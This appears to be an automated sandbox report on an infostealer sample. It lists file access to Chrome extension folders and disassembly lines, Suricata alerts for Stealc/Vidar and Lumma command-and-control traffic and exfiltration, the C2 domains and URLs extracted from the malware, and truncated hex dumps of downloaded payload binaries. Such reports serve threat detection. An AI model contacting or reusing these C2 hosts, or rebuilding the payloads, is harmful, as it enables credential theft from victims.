Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 4x nop then mov eax, dword ptr fs:[00000030h]	0_2_00DDE385
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 4x nop then mov dword ptr [ebp-04h], eax	0_2_00DDE385
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr fs:[00000030h]	1_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov dword ptr [ebp-04h], eax	1_2_004014AD
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then movzx ebx, word ptr [ecx]	8_2_00208051
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	8_2_0020A0B9
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	8_2_001F82E8
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	8_2_0021E318
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov word ptr [eax], cx	8_2_001FA3BF
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 7789B0CBh	8_2_002243F8
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	8_2_00218528
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then movzx ecx, word ptr [edi+eax]	8_2_002245E8
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov eax, dword ptr [esp]	8_2_00222601
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov eax, ebx	8_2_001F264D
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov word ptr [eax], cx	8_2_0020665F
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	8_2_0020A687
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 62429966h	8_2_002207F8
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov byte ptr [edi], al	8_2_00210813
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then jmp dword ptr [0044FDB4h]	8_2_001F2849
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	8_2_001FA86A
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F8FD61B8h	8_2_001FC89C
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	8_2_002268A8
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then jmp eax	8_2_001EE914
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	8_2_0021093D
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	8_2_001E2928
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then jmp eax	8_2_001EE9A5
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	8_2_00226A38
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov eax, dword ptr [esp+000006B8h]	8_2_001FAA47
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	8_2_001EEAC6
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	8_2_00204AD8
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov byte ptr [edi], al	8_2_00210B22
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], A70A987Fh	8_2_0021CB36
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov byte ptr [edi], al	8_2_00210B43
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	8_2_001ECB78
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov eax, dword ptr [esp]	8_2_00226BB8
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 9ECF05EBh	8_2_00226BB8
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	8_2_0020AC81
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov word ptr [eax], cx	8_2_00204D38
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov eax, dword ptr [esp]	8_2_00202D48
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	8_2_001EED6B
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then movzx ecx, word ptr [ebp+00h]	8_2_001E8D88
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov eax, dword ptr [esp]	8_2_0021CE48
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then jmp ecx	8_2_00222EAE
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov word ptr [edx], 0000h	8_2_001FCEB7
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], F3285E74h	8_2_00224E98
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov eax, dword ptr [esp]	8_2_00224E98
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then jmp eax	8_2_00206EC4
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov dword ptr [esp+1Ch], 5E46585Eh	8_2_0020CF30
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	8_2_00210F18
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov eax, dword ptr [esi+14h]	8_2_00210F18
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	8_2_00220F18
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then jmp ecx	8_2_00222F6C
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	8_2_001F0F6F
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov word ptr [eax], dx	8_2_001FF138
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov word ptr [esi], ax	8_2_001FF138
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov ebp, eax	8_2_001E71D8
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	8_2_0020F2B8
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C274D4CAh	8_2_00223290
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	8_2_002093AF
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C274D4CAh	8_2_00223390
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	8_2_001F340E
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	8_2_0020B56A
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov word ptr [eax], dx	8_2_001FF540
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	8_2_002236C7
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], F3285E74h	8_2_00205824
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 27BAF212h	8_2_00223833
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	8_2_001E1878
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	8_2_00221918
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	8_2_0020DA58
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then cmp word ptr [eax+esi+02h], 0000h	8_2_0020BB20
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov word ptr [edx], ax	8_2_00207B69
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then jmp eax	8_2_00207B48
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], C85F7986h	8_2_00209BA8
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov eax, dword ptr [esp]	8_2_00209BA8
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C85F7986h	8_2_00209BA8
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then jmp eax	8_2_00205C1B
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov eax, dword ptr [esp]	8_2_00225C62
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then cmp byte ptr [ebx], 00000000h	8_2_001F3CBA
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov edi, ecx	8_2_001F1D02
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	8_2_001E3D78
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	8_2_001EDDC4
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	8_2_001F3E69
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov ecx, dword ptr [edx]	8_2_001DDED8
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then dec ebx	8_2_0021BF08
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	8_2_0020FF74
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then jmp ecx	8_2_001E5FB0
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	8_2_0020FFD5
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov eax, dword ptr [esp]	8_2_001E9FE8
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 4x nop then mov eax, dword ptr [esp]	8_2_001E9FE8

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST : 192.168.2.4:51293 -> 95.164.90.97:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 95.164.90.97:80 -> 192.168.2.4:51293
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 95.164.90.97:80 -> 192.168.2.4:51293
Source: Network traffic	Suricata IDS: 2056502 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bemuzzeki .sbs) : 192.168.2.4:59347 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056524 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (wickedneatr .sbs) : 192.168.2.4:54905 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056514 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frizzettei .sbs) : 192.168.2.4:59563 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056510 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (exemplarou .sbs) : 192.168.2.4:50020 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056518 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (isoplethui .sbs) : 192.168.2.4:62537 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056520 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (laddyirekyi .sbs) : 192.168.2.4:51199 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056516 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (invinjurhey .sbs) : 192.168.2.4:53745 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2054495 - Severity 1 - ET MALWARE Vidar Stealer Form Exfil : 192.168.2.4:51297 -> 45.132.206.251:80
Source: Network traffic	Suricata IDS: 2056512 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (exilepolsiy .sbs) : 192.168.2.4:57388 -> 1.1.1.1:53

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: frizzettei.sbs
Source: Malware configuration extractor	URLs: invinjurhey.sbs
Source: Malware configuration extractor	URLs: exemplarou.sbs
Source: Malware configuration extractor	URLs: isoplethui.sbs
Source: Malware configuration extractor	URLs: wickedneatr.sbs
Source: Malware configuration extractor	URLs: laddyirekyi.sbs
Source: Malware configuration extractor	URLs: bemuzzeki.sbs
Source: Malware configuration extractor	URLs: exilepolsiy.sbs
Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199786602107
Source: Malware configuration extractor	URLs: https://t.me/maslengdsa

Source: global traffic

TCP traffic: 192.168.2.4:51292 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 08 Oct 2024 00:45:22 GMTContent-Type: application/octet-streamContent-Length: 2459136Last-Modified: Fri, 24 Nov 2023 13:43:06 GMTConnection: keep-aliveETag: "6560a86a-258600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 69 a8 60 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 25 00 d4 20 00 00 ca 04 00 00 00 00 00 7b 44 00 00 00 10 00 00 00 f0 20 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 25 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 a0 db 23 00 f1 36 00 00 9c a2 24 00 28 00 00 00 00 d0 24 00 cc 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 24 00 88 e2 00 00 60 b2 23 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 b1 23 00 40 00 00 00 00 00 00 00 00 00 00 00 00 a0 24 00 9c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 47 d3 20 00 00 10 00 00 00 d4 20 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 91 22 03 00 00 f0 20 00 00 24 03 00 00 d8 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 34 7c 00 00 00 20 24 00 00 62 00 00 00 fc 23 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 b4 10 00 00 00 a0 24 00 00 12 00 00 00 5e 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 30 30 63 66 67 00 00 0e 01 00 00 00 c0 24 00 00 02 00 00 00 70 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 cc 12 00 00 00 d0 24 00 00 14 00 00 00 72 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 35 ff 00 00 00 f0 24 00 00 00 01 00 00 86 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 08 Oct 2024 00:45:28 GMTContent-Type: application/octet-streamContent-Length: 685392Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-a7550"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 08 Oct 2024 00:45:29 GMTContent-Type: application/octet-streamContent-Length: 608080Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-94750"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 08 Oct 2024 00:45:30 GMTContent-Type: application/octet-streamContent-Length: 450024Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-6dde8"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 